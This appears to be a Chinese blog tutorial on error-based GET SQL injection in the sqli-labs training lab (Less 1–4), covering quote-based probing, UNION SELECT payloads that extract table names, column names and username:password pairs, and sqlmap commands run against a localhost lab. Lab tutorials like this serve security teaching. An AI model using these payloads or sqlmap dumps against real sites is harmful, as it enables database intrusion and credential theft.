【安全】P 2-4 GET基于报错的SQL注入(sqli-lab靶场Less1~4)

0X01 SQL注入的分类

根据根据注入位置数据类型可将SQL注入分为两类:数字型和字符型注入位置数据类型可将SQL注入分为两类:数字型和字符型

例如:
数字型:select * from table where id = 用户输入id
例如:
字符型:select * from table where id = ‘用户输入id’

0X02 GET基于报错的SQL注入发现

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠 \来探测URL中是否存在注入点。

实验:Sqli-Lab Less1~4,GET基于报错的SQL注入。
Less1 get-error based-single quotes-string
GET报错基于单引号字符串
在这里插入图片描述

Please input the ID as parameter with numeric value
请输入ID值作为对应参数
用GET方法进行尝试
?id=1
在这里插入图片描述

SELECT * FROM users WHERE id='1' LIMIT 0,1

出现对应的内容
改变id的值,从1-14都会有对应的值,当id=15时,没有显示,那么id最大值为14
接下来判断是否存在注入点
id=1’
在这里插入图片描述

我们来分析报错内容

‘‘1’’ LIMIT 0,1’
最左边和最右边的单引号是用来闭合输出错误的字符串信息

‘1’’ LIMIT 0,1
这是错误的具体内容

sql语句为:

 SELECT * FROM users WHERE id='1'' LIMIT 0,1

我们输入 1‘ 就会报错

同样的我问看一下第二关
Less2 get-error based-intiger based
get基于整数的报错
在这里插入图片描述

我们使用刚才的方式进行测试
id=1
在这里插入图片描述

id=1‘
在这里插入图片描述

分析报错内容
‘’ LIMIT 0,1’
最左边和最右边的单引号是用来闭合输出错误的字符串信息

’ LIMIT 0,1
这是错误的具体内容

sql语句为:

SELECT * FROM users WHERE id=1' LIMIT 0,1

我们再来看一下第三关
Less3 get-error based-single quotes with twist-string
GET报错基于单引号和括号字符串
在这里插入图片描述

同样的方式再来进行测试
id=1
返回正常的信息
在这里插入图片描述

id=1’
在这里插入图片描述

分析报错内容
‘‘1’’) LIMIT 0,1’
最左边和最右边的单引号是用来闭合输出错误的字符串信息

‘1’’) LIMIT 0,1
这是错误的具体内容

sql语句为:

SELECT * FROM users WHERE id=('1'') LIMIT 0,1

这里我们使用注释看一下,我们对于闭合符的判断是否正确
在这里插入图片描述

显示正常内容

sql语句为:

SELECT * FROM users WHERE id=('1') -- ') LIMIT 0,1

我们再来看第四关
Less4 get-error based-double quotes-string
GET报错基于双引号字符串
在这里插入图片描述

进行测试
id=1
在这里插入图片描述

id=1‘
在这里插入图片描述

没有报错,我们想一下原因是什么
因为使用双引号闭合,我们输入的任何数据都会被当作字符串处理,不论我们输入多少单引号和括号都会显示正常
在这里插入图片描述

那么我们使用双引号进行错误分析
在这里插入图片描述

‘“1"”) LIMIT 0,1’
最左边和最右边的单引号是用来闭合输出错误的字符串信息

“1"”) LIMIT 0,1
这是错误的具体内容

sql语句为:

SELECT * FROM users WHERE id=("1"") LIMIT 0,1

我们使用注释进行验证
在这里插入图片描述

显示正常

以上介绍了如何用字符进行探测,接下来讲解如何利用漏洞

0X03 GET基于报错的SQL注入利用

1、利用order by 判断字段数。(建议采用二分法)

id=1order by 3 --+
id=1order by 4 --+

在这里插入图片描述
在这里插入图片描述

2、利用union select 联合查询,获取表名。

id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

在这里插入图片描述

3、利用union select 联合查询,获取字段名。

id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

在这里插入图片描述

4、利用union select 联合查询,获取字段值。

id=0' union select 1,group_concat(username,0x3a,password),3 from users--+

在这里插入图片描述

Less1-4同理自己尝试一下

0X04 利用Sqlmap测试

获取数据库名称

sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs --batch

在这里插入图片描述

获取表名

sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --tables --batch

在这里插入图片描述

获取字段名

sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security  -T users --columns --batch

在这里插入图片描述

获取内容

sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C "username,password" --dump

在这里插入图片描述

【安全】P2-3 Sqli-Lab实验环境搭建

【渗透工具】sqlmap下载安装详细教程Windows/Linux(图文)

-----E-----N-----D-----
😄如有问题,请各位师傅斧正,你的支持是我最大的动力。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值